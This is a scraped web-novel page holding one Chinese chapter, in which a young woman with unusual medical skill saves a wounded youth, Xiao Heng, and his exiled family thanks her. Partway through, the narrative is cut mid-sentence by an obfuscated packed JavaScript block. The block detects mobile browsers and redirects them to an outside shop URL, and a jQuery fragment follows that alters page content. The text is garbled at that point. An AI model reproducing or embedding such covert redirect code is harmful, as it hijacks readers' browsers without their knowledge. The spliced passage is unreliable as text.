默认冷灰
24号文字
方正启体

7. 何方神圣

作者:一花世界本书字数:K更新时间:
    “张嘴。”麦序见有声音回应,手腕一弯,从袖掩下一颗粉白色丸子,塞进人嘴里屈指往上一顶,在人还没反应过来时就已经被迫吞咽入肚了。


    “……”萧珩只觉一道微凉自口过喉,直入肺腑,滋滋生起暖意,自五脏六腑迅速流淌致四肢百骸,天旋地转的晕眩立马得到了减轻。


    简直立竿见影!


    他垂下眼,近在咫尺的姑娘喂完药片刻不耽搁,根本不管他药效是否启效,已垂下眼开始清理他右琵琶骨往下裂开翻面的伤,手法娴熟手速极快,眨眼功夫就能清理过半。


    与那些普通大夫截然不同的手法。


    古怪,同样的处理,因何此时那要命疼痛却似减轻了几分?


    发寒的身体也回暖了些。


    是药效起了作用?


    方才,她给食用的是何药物?


    清理后,便是上药缝针包扎。其他还好,就是眼睁睁看着一双纤细粘满药和血昏得污黏的手,有力快速一针一线穿扎流畅地在他的皮肉上行针走线,这种感受……说不出是特别,还是特别痛苦。


    没有一个普通人能眼也不眨地冷静且娴熟,更莫说是她这样一个闺阁姑娘。


    她……到底是何方神圣?


    “好了,暂时只能先这样处理。”


    少女那冷静的声音响起,打乱了他的胡思乱想,


    麦序洗手,“新伤处理好了。”抬眼就撞入一双即深邃又清澈的眸子,手上的动作一顿。


    她看到眸子里的困惑,以及探究。


    但无一丝恐慌,也无尖利。


    她轻挑了一下眉,平静地继续开口,“至于旧伤有些已发脓,不治,你撑不了两天,必死。”


    她说的每一个字,都冰冷刺骨,


    那些青青紫紫的皮内伤遍布敞开的皮肉下,一眼看过去有些吓人,却是最好治疗的。


    要命的却是那遍布胸前背后陈旧的鞭伤。


    有些已愈合,却有反复发作的。


    刚才那么惊心动魄险些抢不回来,估计就是这些反复发作的旧伤引起感染了。


    闻言,母子三人面色难看,萧惠心白着脸抖着手,给才死里逃生的长子擦拭因疼痛而不断冒出来的豆大的汗珠。


    嘴里呜咽着低喃:“珩儿、珩儿不怕……”


    上苍为何如此不公,她的珩儿何辜!短短十几年却无数次命悬一线,如今更是……


    萧珩目光涣散,尽了力才捕捉到面前姑娘那平静的目光,他张了张干涸的唇,轻而无力吐出一个字。


    “治。”


    而麦序却听到了他的决绝。


    “旧伤刮脓剔骨,换新伤止血。”她给出了病患和其家属一个治疗方案,并且独一个,无从选择。


    萧惠心听得面白如纸,身子摇晃欲坠,猛地扭头看已经虚弱不堪的长子,“……珩儿,如何还能撑得住?”


    她转头向面前的姑娘,满目都是怜子之痛,“絮儿……可还有旁的法子?”


    麦序:“无。”


    “药效撑不了多久,不尽快一口气处理完,他……”好容易回暖的体温一定会再次骤降,没有先进器材,大罗神仙也无能为力。


    江家人满是痛苦,不敢定下。


    麦序瞥一眼伤患本人,“能忍?”


    少年已然半昏厥状态了,她有一瞬想直接将人敲晕,没有麻醉,能敲晕也算一种幸运和仁慈。


    于是她也这么说:“或者我先敲晕你?”


    闻言,母子俩双眼瞪大,想阻止,这不雪上加霜么!


    “敲、敲晕?”


    萧珩却很平静:“不用。”


    麦序:“也是,我怕力度控制不好到时你没机会再醒。”


    他自个儿伤势过重死掉和被她出手敲死,那是完全两个后果。


    “……”江家母子都不由得吐出一口气。


    何志撇嘴,心道这煞神可真够可怕,连对自家人都这么狠。


    得了伤患本人的话,麦序没再浪费时间。


    发炎的地方虽多,只有两处特别严重。她手法不算太专业,好在下手够快狠准。


    听到萧珩那抽气以及身体本能的颤抖都不曾犹豫一秒,用最短的时间完成了所有伤口的处理。


    然后从何志那里‘搜刮’来的金创药往还会渗血的伤口上撒匀,再用洗净晒干的布块压着绑上布条。


    “照理这种酷热天气不宜包扎,但得先止血,血止住再减些布料。”


    她包扎手法也不太专业,能绑按住就行,随便打了个蝴蝶结,算完事。


    看了全程的何志出自肺腑感慨:“马姑娘这医术真神了!”


    他走向闯北这么多年,是见过大风大浪的,也算见多识广了,但今日真真是叫他大开眼界了。


    别说这小小女娘前头一根一个人头,就是眼下这疗伤治病的手法与本事,他是闻所未闻。


    真真一奇女子!


    麦序只瞥他一肯,目光回到伤患身上,


    接下来是内伤,她检查过后。


    “肺部有伤,多个脏腑有出血迹象,肋骨也有断挫,就是手指也断了两根……”她边说边顺手处理了断指板正,用小木棍夹上绑紧。


    手指断这大概是萧珩自己先前防御抵抗时用力过猛造成的。


    不得不说,眼前这少年也是个狠角色。


    也够命硬。


    都这样了,还能撑着一口气。


    就是麦序都不得不感叹一句:不愧有大男主光环的男人。


    两眼眶发红的江停云死死地憋着,不让自己哭,仔细着在一边帮手,眼泪几欲夺眶而出。


    “絮表姐,那如何是好?”他大哥哥好苦啊!


    麦序抬眼,目光移向双目红肿的萧惠心,实话实说:“何解差熬了治伤药,一会喂他喝下,也只能看……他能不能撑得过去了。”


    刚才喂给萧珩的药能保一命,更能起死回生。那么珍贵的药,就是她先前被打成那样奄奄一息都没舍得服用,这是留着保命用的。


    倒是便宜这家伙了。


    她甚至还想了一下,要不一不做二不休,直接硬开刀割肉把那两钩索取下来得了。


    下回可没再有这么好的药了。


    只是……她目光在少年身上来回一圈,又瞥一眼还在边上收拾的何志,与抱在一起的江家母子,这念头……‘若隐若现’。


    不知是否留意到她的目光,萧珩好容易集中起来的视线又飘了过来,那样一双漂亮的眼,有种说不出的病弱美。


    “至于,这两根钩索,暂时束手无策。”麦序还是放弃了这个念头。


    在这些人眼中,方才治伤已然那般凶险,假若她此时还继续冒着更大的风险取钩索,都这般凶险了还能开肉取钩,最后人还能活下来,那岂不是说不清了?


    江家人好处理,但两名解差还得留活口,就不能暴露更多。


    萧珩虚弱开口,“无妨。”


    能如此快速一口气处理好他身上新旧伤,已可称得上一声‘神医’,他又岂能再过多奢求?


    麦序点点头,对于男主情绪稳定十分满意。


    她研究过那两个勾着骨头的钩,不知是用什么浸泡过,还有当初用刑之人手艺了得,上钩的位置分毫不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058831|194955||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    差,甚至还有止血的效果。


    若非这次剧烈拉扯撕开了伤口,这一路抵达目的地估计都不会有出血现象。


    她都不知该喟叹一声这些手艺人的厉害,还是发明和使用这些酷刑的人的残忍。


    只是,这次扯开的伤口过大,她又有针线缝上,不知会不会使得铁钩两边的肉和铁钩长到一块。


    那样的话,往后拆铁钩又得重新扯裂一次这两道肉口。


    想想都遭罪。


    想到这里,她的目光不免就带上了一丝怜悯,美强惨,怎的一个‘惨’字了得。


    “……?”哪怕虚弱至此,萧珩还是捕捉到了那一丝怜悯,他有些茫然看过去,女孩已不再看他,弯腰收拾着一片狼藉。


    “大哥哥,我把祖母她们唤过来!”小少年边抹泪边跑去叫来了自家其他人。


    一圈人围着不知什么时候彻底昏死过去的伤患,又哭又笑,真真悲喜交加,麦序都怕这几个老弱大喜大悲容易出事。


    收拾着满石头摆着的东西,有人来到面前,麦序停下手中动作。


    是江老太。


    那一惯面容慈祥的老人,像棵即将走向消亡的老树,只剩下皮包骨。


    还好,那双枯木般又浑浊的眼,此时有着生命一样的亮光。


    老人一手撑着那根要了好几条人命的拐棍,一边是孙女的搀扶,领着三个小孙子,哪怕身形不稳,亦朝面前的年轻姑娘深深鞠腰叩首。


    几个小的慌乱地跪了一地,俯身叩拜。


    “老身深谢絮姑娘救命大恩!”


    “我江家今欠姑娘救命大恩,往后必报,还请姑娘不弃。”


    那边的何志都惊了,这江家人虽一个个的老弱病残,可个个都倔傲骨硬!这惶惶几千里路走来,苦难艰辛,便是几次险些丢命,被折辱不断,亦不见一人跪地求饶,哪怕是最小仅四岁的稚子!


    也就午时那会,那表姑娘被带进林子、江家长子险些被打死,江家人一个个反抗挣扎不得,江母第一次跪地求饶,还是为着别人而非自身。


    而此时,这一家子却跪得心甘情愿。


    能折服这一家的傲骨之人,怎是凡人?


    目光越过江家人,在直愣愣站那儿的小女娘身上,那张因受苦挨饿同样瘦削的脸上,平静无波,没有因眼下跪地的人而有多大的波动。


    就跟她杀人眼也不眨那样,平静,冷漠。


    叫人脊背发寒。


    不禁打了个寒颤,何志咽了咽唾沫,收回目光,缩着脖子悄无声息回到篝火那边。


    麦序不太承这个情,“老夫人不必客气。”她现在所做的一切,都是有条件的。


    热脸贴了冷屁股,江老太无一丝尴尬,摆摆手让小辈起来回伤患身边照看,她有孙女的搀扶并没有移步。


    麦序收拾自己的物件的手一顿,“老夫人可还有事?”


    江老太神情不太自在,犹豫一番不得不开口试探:“珩儿他……”


    面对老人家殷殷期盼的目光,麦序心说普通能不能撑到今晚都是难说。


    换成萧珩……还真不好说。


    毕竟人家有大男主光环。


    她说不准,就没给这几个老弱妇孺太大的希望。


    “看天意吧。”她只能模棱两可回了一句。


    怕这老人跟江家那几个妇幼撑不住,心中叹息,不太负责任地又加了一句:“江家世代忠良,列祖先贤更是为民为国鞠躬尽瘁,我想上苍总会眷顾一二的。”


    这是她醒来到现在几个小时里最为温和的一句话,带着安抚宽慰,希望能给这些可怜人一点希冀吧。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)